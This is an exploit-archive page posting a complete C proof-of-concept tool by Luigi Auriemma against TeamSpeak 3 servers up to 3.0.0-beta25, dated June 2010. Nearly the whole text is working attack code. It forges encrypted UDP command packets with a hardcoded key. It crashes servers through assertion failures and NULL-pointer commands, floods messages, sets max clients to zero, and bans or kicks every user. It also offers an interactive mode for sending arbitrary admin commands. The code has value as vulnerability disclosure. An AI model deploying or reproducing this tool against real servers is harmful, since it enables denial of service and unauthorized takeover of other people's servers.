Home / os / win7

Teamspeak <= 3.0.0-beta25 Multiple Remote Vulnerabilities

Posted on 21 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Teamspeak &lt;= 3.0.0-beta25 Multiple Remote Vulnerabilities</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>========================================================= Teamspeak &lt;= 3.0.0-beta25 Multiple Remote Vulnerabilities ========================================================= /* by Luigi Auriemma */ #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;stdint.h&gt; #include &lt;time.h&gt; #ifdef WIN32 #include &lt;winsock.h&gt; #include &quot;winerr.h&quot; #define close closesocket #define sleep Sleep #define ONESEC 1000 #define waitms(x) sleep(x) #else #include &lt;unistd.h&gt; #include &lt;sys/socket.h&gt; #include &lt;sys/types.h&gt; #include &lt;arpa/inet.h&gt; #include &lt;netinet/in.h&gt; #include &lt;netdb.h&gt; #define ONESEC 1 #define stristr strcasestr #define stricmp strcasecmp #define waitms(x) sleep(x * 1000) #endif typedef uint8_t u8; typedef uint16_t u16; typedef uint32_t u32; #define VER &quot;0.1&quot; #define PORT 9987 #define BUFFSZ 0x400 // max 0x1f4 for &quot;packetType != 1&quot; #define SCAN_MS 40 #define INIT_TS3 if(sd) close(sd); sd = udp_sock(); p = buff; p += putrr(p, 8); /* tag */ p += putxx(p, 0, 16); /* header... */ p += putxx(p, 0, 16); p += putxx(p, 2, 8); /* packetType 2 is COMMAND */ static u8 *assert_cmds[] = { &quot;banlist&quot;, &quot;complainlist&quot;, &quot;servernotifyunregister&quot;, &quot;serverrequestconnectioninfo&quot;, &quot;setconnectioninfo&quot;, &quot;servernotifyregister event=server&quot;, NULL }; static u8 *null_cmds[] = { &quot;bandelall&quot;, &quot;channelcreate channel_name=name&quot;, &quot;channelsubscribe cid=1&quot;, &quot;channelsubscribeall&quot;, &quot;banadd ip=1.2.3.4&quot;, &quot;clientedit clid=1 client_description=none&quot;, &quot;messageupdateflag msgid=1 flag=1&quot;, &quot;complainadd tcldbid=1 message=none&quot;, &quot;complaindelall tcldbid=1&quot;, &quot;ftinitupload clientftfid=1 name=file.txt cid=5 cpw= size=9999 overwrite=1 resume=0&quot;, &quot;ftgetfilelist cid=1 cpw= path=\/&quot;, &quot;ftdeletefile cid=1 cpw= name=\/&quot;, &quot;ftcreatedir cid=1 cpw= dirname=\/&quot;, &quot;ftrenamefile cid=1 cpw= tcid=1 tcpw=secret oldname=\/ newname=\/&quot;, &quot;ftinitdownload clientftfid=1 name=\/ cid=1 cpw= seekpos=0&quot;, NULL }; static u8 *virtualserver[] = { &quot;virtualserver_antiflood_ban_time&quot;, &quot;virtualserver_antiflood_points_needed_ban&quot;, &quot;virtualserver_antiflood_points_needed_kick&quot;, &quot;virtualserver_antiflood_points_needed_warning&quot;, &quot;virtualserver_antiflood_points_tick_reduce&quot;, &quot;virtualserver_autostart&quot;, &quot;virtualserver_channelsonline&quot;, &quot;virtualserver_client_connections&quot;, &quot;virtualserver_clientsonline&quot;, &quot;virtualserver_complain_autoban_count&quot;, &quot;virtualserver_complain_autoban_time&quot;, &quot;virtualserver_complain_remove_time&quot;, &quot;virtualserver_created&quot;, &quot;virtualserver_default_channel_admin_group&quot;, &quot;virtualserver_default_channel_group&quot;, &quot;virtualserver_default_server_group&quot;, &quot;virtualserver_download_quota&quot;, &quot;virtualserver_filebase&quot;, &quot;virtualserver_flag_password&quot;, &quot;virtualserver_hostbanner_gfx_interval&quot;, &quot;virtualserver_hostbanner_gfx_url&quot;, &quot;virtualserver_hostbanner_url&quot;, &quot;virtualserver_hostbutton_gfx_url&quot;, &quot;virtualserver_hostbutton_tooltip&quot;, &quot;virtualserver_hostbutton_url&quot;, &quot;virtualserver_hostmessage&quot;, &quot;virtualserver_hostmessage_mode&quot;, &quot;virtualserver_icon_id&quot;, &quot;virtualserver_id&quot;, &quot;virtualserver_keypair&quot;, &quot;virtualserver_log_channel&quot;, &quot;virtualserver_log_client&quot;, &quot;virtualserver_log_filetransfer&quot;, &quot;virtualserver_log_permissions&quot;, &quot;virtualserver_log_query&quot;, &quot;virtualserver_log_server&quot;, &quot;virtualserver_machine_id&quot;, &quot;virtualserver_max_download_total_bandwidth&quot;, &quot;virtualserver_max_upload_total_bandwidth&quot;, &quot;virtualserver_maxclients&quot;, &quot;virtualserver_min_client_version&quot;, &quot;virtualserver_min_clients_in_channel_before_forced_silence&quot;, &quot;virtualserver_month_bytes_downloaded&quot;, &quot;virtualserver_month_bytes_uploaded&quot;, &quot;virtualserver_name_phonetic&quot;, &quot;virtualserver_needed_identity_security_level&quot;, &quot;virtualserver_password&quot;, &quot;virtualserver_platform&quot;, &quot;virtualserver_port&quot;, &quot;virtualserver_priority_speaker_dimm_modificator&quot;, &quot;virtualserver_query_client_connections&quot;, &quot;virtualserver_queryclientsonline&quot;, &quot;virtualserver_reserved_slots&quot;, &quot;virtualserver_total_bytes_downloaded&quot;, &quot;virtualserver_total_bytes_uploaded&quot;, &quot;virtualserver_total_packetloss_control&quot;, &quot;virtualserver_total_packetloss_keepalive&quot;, &quot;virtualserver_total_packetloss_speech&quot;, &quot;virtualserver_total_packetloss_total&quot;, &quot;virtualserver_total_ping&quot;, &quot;virtualserver_upload_quota&quot;, &quot;virtualserver_uptime&quot;, &quot;virtualserver_version&quot;, NULL }; int ts3_crypt(unsigned char *key /*includes nonce*/, int hdrlen, unsigned char *data, int data_len, int encrypt); int udp_sock(void); int putrr(u8 *dst, int len); int putmm(u8 *dst, u8 *src, int len); int putxx(u8 *data, u32 num, int bits); int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err); int timeout(int sock, int secs); u32 resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd = 0, i, len, bug; u16 port = PORT; u8 buff[BUFFSZ], *host, *p; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &amp;wsadata); #endif setbuf(stdout, NULL); fputs(&quot; &quot; &quot;TeamSpeak 3 &lt;= 3.0.0-beta23 multiple vulnerabilities &quot;VER&quot; &quot; &quot;by Luigi Auriemma &quot; &quot;e-mail: aluigi@autistici.org &quot; &quot;web: aluigi.org &quot; &quot; &quot;, stdout); if(argc &lt; 3) { printf(&quot; &quot; &quot;Usage: %s &lt;bug&gt; &lt;host&gt; [port(%d)]&gt; &quot; &quot; &quot; &quot;Bugs and some examples: &quot; &quot; 1 = interface for sending any custom command &quot; &quot; 2 = test the failed assertions &quot; &quot; 3 = test the NULL pointer dereferences &quot; &quot; &quot; &quot; 4 = flooding of random server messages &quot; &quot; 5 = set the number of max clients to 0 (USE bug 1 and virtualserver for more) &quot; &quot; 6 = ban all the clients currently in the server &quot; &quot; 7 = unban all the banned clients &quot; &quot; 8 = kick all the clients currently in the server &quot; &quot; 9 = send a poke message to all the clients in the server &quot; &quot; &quot;, argv[0], port); exit(1); } bug = atoi(argv[1]); host = argv[2]; if(argc &gt; 3) port = atoi(argv[3]); peer.sin_addr.s_addr = resolv(host); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf(&quot;- target %s : %hu &quot;, inet_ntoa(peer.sin_addr), port); if(bug == 1) { printf( &quot;- now you can send and test any command you desire &quot; &quot;- refer to doc\ts3_serverquery_manual.pdf for details and notes! &quot; &quot;- use the command &quot;virtualserver&quot; for a list of virtualserver parameters to &quot; &quot; change through the &quot;serveredit&quot; command (password, banner and so on) &quot;); for(;;) { printf(&quot; &gt; &quot;); INIT_TS3 fgets(p, BUFFSZ - (p - buff), stdin); for(; *p &amp;&amp; (*p != ' ') &amp;&amp; (*p != ' '); p++); *p = 0; if(!strcmp(buff + 8 + 5, &quot;virtualserver&quot;)) { printf(&quot; &quot;); for(i = 0; virtualserver[i]; i++) { printf(&quot; serveredit %s= &quot;, virtualserver[i]); } printf(&quot; - refer to doc\ts3_serverquery_manual.pdf for details and notes &quot;); continue; } len = ts3_crypt(NULL, 5, buff, p - buff, 1); while((len = send_recv(sd, buff, len, buff, BUFFSZ, &amp;peer, 0)) &gt; 0) { len = ts3_crypt(NULL, 3, buff, len, 0); buff[len] = 0; printf(&quot;- %d %s &quot;, len, buff + 8 + 3); } } } else if(bug == 2) { printf(&quot;- send commands that terminate the server due to failed assertions &quot;); for(i = 0; assert_cmds[i]; i++) { INIT_TS3 p += putmm(p, assert_cmds[i], -1); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&amp;peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); } } else if(bug == 3) { printf(&quot;- send commands that terminate the server due to failed assertions &quot;); for(i = 0; null_cmds[i]; i++) { INIT_TS3 p += putmm(p, null_cmds[i], -1); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&amp;peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); } } else if(bug == 4) { for(;;) { INIT_TS3 p += putmm(p, &quot;sendtextmessage targetmode=3 msg=&quot;, -1); p += putrr(p, -1); //p += putmm(p, &quot;\a\b\f\n\r\t\v&quot;, -1); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&amp;peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); waitms(SCAN_MS); } } else if(bug == 5) { INIT_TS3 p += putmm(p, &quot;serveredit virtualserver_maxclients=0&quot;, -1); len = ts3_crypt(NULL, 5, buff, p - buff, 1); sendto(sd, buff, len, 0, (struct sockaddr *)&amp;peer, sizeof(struct sockaddr_in)); fputc('.', stdout); } else if(bug == 6) { for(i = 0;; i++) { printf(&quot;- ban client id %d &quot;, i); INIT_TS3 p += sprintf(p, &quot;banclient clid=%d&quot;, i); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&amp;peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); waitms(SCAN_MS); } } else if(bug == 7) { for(i = 0;; i++) { printf(&quot;- remove banid %d &quot;, i); INIT_TS3 p += sprintf(p, &quot;bandel banid=%d&quot;, i); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&amp;peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); waitms(SCAN_MS); } } else if(bug == 8) { for(i = 0;; i++) { printf(&quot;- kick client id %d &quot;, i); INIT_TS3 p += sprintf(p, &quot;clientkick clid=%d reasonid=5&quot; /*&quot; reasonmsg=byebye&quot;*/, i); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&amp;peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); waitms(SCAN_MS); } } else if(bug == 9) { for(i = 0;; i++) { printf(&quot;- send poke message to client id %d &quot;, i); INIT_TS3 p += sprintf(p, &quot;clientpoke clid=%d msg=&quot;, i); p += putrr(p, -1); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&amp;peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); waitms(SCAN_MS); } } else { printf(&quot; Error: invalid bug number (%d) &quot;, bug); exit(1); } printf(&quot; - done, check the server manually &quot;); if(sd) close(sd); return(0); } #include &lt;tomcrypt.h&gt; int ts3_crypt(unsigned char *key /*includes nonce*/, int hdrlen, unsigned char *data, int data_len, int encrypt) { static int already_reg = 0; static const unsigned char default_key[] = &quot;c:\windows\system\firewall32.cpl&quot;; unsigned long tag = 8; int err, stat; if(data_len &lt; (8 + hdrlen)) return(data_len); if(!key) key = (unsigned char *)default_key; if(!already_reg) { register_cipher(&amp;aes_desc); already_reg = 1; } #define ts3_crypt_args 0, key, 16, /* key */ key + 16, 16, /* nonce */ data + 8, hdrlen, /* header */ data + 8 + hdrlen, data_len - (8 + hdrlen), /* input */ data + 8 + hdrlen, /* output */ data /* tag */ if(encrypt) { err = eax_encrypt_authenticate_memory(ts3_crypt_args, &amp;tag); } else { err = eax_decrypt_verify_memory(ts3_crypt_args, tag, &amp;stat); } if(err != CRYPT_OK) return(-1); return(data_len); } int udp_sock(void) { static struct sockaddr_in *peerl = NULL; static struct linger ling = {1,1}; static int on = 1; int sd; sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd &lt; 0) std_err(); setsockopt(sd, SOL_SOCKET, SO_LINGER, (char *)&amp;ling, sizeof(ling)); setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&amp;on, sizeof(on)); //setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&amp;on, sizeof(on)); // it's necessary a different port for each packet otherwise // the server will wait some seconds before handling the others! if(!peerl) { peerl = malloc(sizeof(struct sockaddr_in)); peerl-&gt;sin_addr.s_addr = INADDR_ANY; peerl-&gt;sin_port = htons(time(NULL)); peerl-&gt;sin_family = AF_INET; } do { peerl-&gt;sin_port++; } while(bind(sd, (struct sockaddr *)peerl, sizeof(struct sockaddr_in)) &lt; 0); return(sd); } int putrr(u8 *dst, int len) { static const char table[] = &quot;0123456789&quot; &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot; &quot;abcdefghijklmnopqrstuvwxyz&quot;; static int rnd = 0; int i, mode = 0; if(!rnd) rnd = ~time(NULL); if(len &lt; 0) { len = (unsigned)rnd % 100; // 0x1f4, pokes are max 100 chars mode = 1; } for(i = 0; i &lt; len; i++) { rnd = ((rnd * 0x343FD) + 0x269EC3) &gt;&gt; 1; if(mode) { dst[i] = table[rnd % (sizeof(table) - 1)]; } else { dst[i] = rnd; } } return(len); } int putmm(u8 *dst, u8 *src, int len) { if(len &lt; 0) len = strlen(src); memcpy(dst, src, len); return(len); } int putxx(u8 *data, u32 num, int bits) { int i, bytes; bytes = bits &gt;&gt; 3; for(i = 0; i &lt; bytes; i++) { data[i] = (num &gt;&gt; ((bytes - 1 - i) &lt;&lt; 3)); //data[i] = (num &gt;&gt; (i &lt;&lt; 3)); } return(bytes); } int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err) { int retry, len; if(in &amp;&amp; !out) { fputc('.', stdout); if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in)) &lt; 0) goto quit; return(0); } if(in) { for(retry = 1; retry; retry--) { // only one retry fputc('.', stdout); if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in)) &lt; 0) goto quit; if(!timeout(sd, 1)) break; } if(!retry) { if(!err) return(-1); printf(&quot; Error: socket timeout, no reply received &quot;); exit(1); } } else { if(timeout(sd, 1) &lt; 0) return(-1); // only one second } fputc('.', stdout); len = recvfrom(sd, out, outsz, 0, NULL, NULL); if(len &lt; 0) goto quit; return(len); quit: if(err) std_err(); return(-1); } int timeout(int sock, int secs) { struct timeval tout; fd_set fd_read; tout.tv_sec = secs; tout.tv_usec = 0; FD_ZERO(&amp;fd_read); FD_SET(sock, &amp;fd_read); if(select(sock + 1, &amp;fd_read, NULL, NULL, &amp;tout) &lt;= 0) return(-1); return(0); } u32 resolv(char *host) { struct hostent *hp; u32 host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf(&quot; Error: Unable to resolv hostname (%s) &quot;, host); exit(1); } else host_ip = *(u32 *)hp-&gt;h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror(&quot; Error&quot;); exit(1); } #endif # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-21]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP